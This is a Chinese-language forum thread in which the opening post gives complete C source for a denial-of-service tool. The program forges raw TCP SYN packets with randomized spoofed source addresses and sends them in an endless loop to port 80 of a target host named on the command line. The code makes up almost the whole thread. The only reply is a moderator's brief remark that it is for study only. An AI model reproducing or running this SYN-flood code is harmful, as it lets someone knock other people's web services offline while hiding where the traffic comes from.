新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 本版讨论高级C/C++编程、代码重构(Refactoring)、极限编程(XP)、泛型编程等话题
    [返回] 计算机科学论坛计算机技术与应用『 C/C++编程思想 』 → 用c语言实现dos攻击 查看新帖用户列表

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 5205 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子 浏览下一篇主题
     * 贴子主题: 用c语言实现dos攻击 举报  打印  推荐  IE收藏夹 
       本主题类别:     
     海浪 帅哥哟,离线,有人找我吗?
      
      
      等级:大一新生
      文章:11
      积分:86
      门派:XML.ORG.CN
      注册:2009/5/1

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给海浪发送一个短消息 把海浪加入好友 查看海浪的个人资料 搜索海浪在『 C/C++编程思想 』的所有贴子 点击这里发送电邮给海浪 引用回复这个贴子 回复这个贴子 查看海浪的博客楼主
    发贴心情 用c语言实现dos攻击

    /******************** DOS.c *****************/
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <netdb.h>
    #define DESTPORT 80 /* 要攻击的端口(WEB) */
    #define LOCALPORT 8888
    void send_tcp(int sockfd,struct sockaddr_in *addr);
    unsigned short check_sum(unsigned short *addr,int len);
    int main(int argc,char **argv)
    {
    int sockfd;
    struct sockaddr_in addr;
    struct hostent *host;
    int on=1;
    if(argc!=2)
    {
    fprintf(stderr,"Usage:%s hostnamena",argv[0]);
    exit(1);
    }
    bzero(&addr,sizeof(struct sockaddr_in));
    addr.sin_family=AF_INET;
    addr.sin_port=htons(DESTPORT);
    /*看成是获取你要ping的目标的网络地址,argv[1]是ip的话直接a to n,是域名的话就要gethostbyname了*/
    if(inet_aton(argv[1],&addr.sin_addr)==0)
    {
    host=gethostbyname(argv[1]);
    if(host==NULL)
    {
    fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
    exit(1);
    }
    addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
    }
    /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
    sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
    if(sockfd<0)
    {
    fprintf(stderr,"Socket Error:%sna",strerror(errno));
    exit(1);
    }
    /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
    /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
    setuid(getpid());
    /********* 发送炸弹了!!!! ****/
    send_tcp(sockfd,&addr);
    }
    /******* 发送炸弹的实现 *********/
    void send_tcp(int sockfd,struct sockaddr_in *addr)
    {
    char buffer[100]; /**** 用来放置我们的数据包 ****/
    struct ip *ip;
    struct tcphdr *tcp;
    int head_len;
    /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
    head_len=sizeof(struct ip)+sizeof(struct tcphdr);
    bzero(buffer,100);
    /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
    ip=(struct ip *)buffer;
    ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
    ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
    ip->ip_tos=0; /** 服务类型 **/
    ip->ip_len=htons(head_len); /** IP数据包的长度 **/
    ip->ip_id=0; /** 让系统去填写吧 **/
    ip->ip_off=0; /** 和上面一样,省点时间 **/
    ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
    ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
    ip->ip_sum=0; /** 校验和让系统去做 **/
    ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
    /******* 开始填写TCP数据包 *****/
    tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
    tcp->source=htons(LOCALPORT);
    tcp->dest=addr->sin_port; /** 目的端口 **/
    tcp->seq=random();
    tcp->ack_seq=0;
    tcp->doff=5;
    tcp->syn=1; /** 我要建立连接 **/
    tcp->check=0;
    /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
    while(1)
    {
    /** 你不知道我是从那里来的,慢慢的去等吧! **/
    ip->ip_src.s_addr=random();
    /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
    /** 下面这条可有可无 */
    tcp->check=check_sum((unsigned short *)tcp,
    sizeof(struct tcphdr));
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
    }
    }
    /* 下面是首部校验和的算法,偷了别人的 */
    unsigned short check_sum(unsigned short *addr,int len)
    {
    register int nleft=len;
    register int sum=0;
    register short *w=addr;
    short answer=0;
    while(nleft>1)
    {
    sum+=*w++;
    nleft-=2;
    }
    if(nleft==1)
    {
    *(unsigned char *)(&answer)=*(unsigned char *)w;
    sum+=answer;
    }
    sum=(sum>>16)+(sum&0xffff);
    sum+=(sum>>16);
    answer=~sum;
    return(answer);
    }

       收藏   分享  
    顶(0)
      




    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2009/5/3 16:14:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客2
    发贴心情 
    只能用来学习,不允许拿来做坏事哦!~

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2009/5/4 14:35:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 C/C++编程思想 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/11/25 22:09:56

    本主题贴数2,分页: [1]

    管理选项修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    54.688ms